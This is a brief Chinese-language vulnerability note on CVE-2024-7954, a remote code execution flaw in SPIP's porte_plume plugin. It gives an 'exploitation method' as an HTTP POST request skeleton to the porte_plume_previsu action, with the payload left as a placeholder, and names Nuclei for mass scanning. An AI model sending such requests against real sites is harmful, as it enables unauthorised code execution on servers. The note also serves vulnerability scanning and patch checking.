RCE_CVE-2024-7954

RCECVE-2024-7954 描述： SPIP 4.30-alpha2、4.2.13 及 4.1.16 之前版本使用的 porteplume 插件存在任意代码执行漏洞。远程未认证攻击者可通过发送特制的 HTTP 请求，以 SPIP 用户身份执行任意 PHP 代码。（严重） 利用方法： POST /index.php?action=porteplumeprevisu HTTP/1.1 Host: Hostname Content-Type: application/x-www-form-urlencoded data=AA-URLBB 使用的工具： Nuclei -l目标文件 -t模板...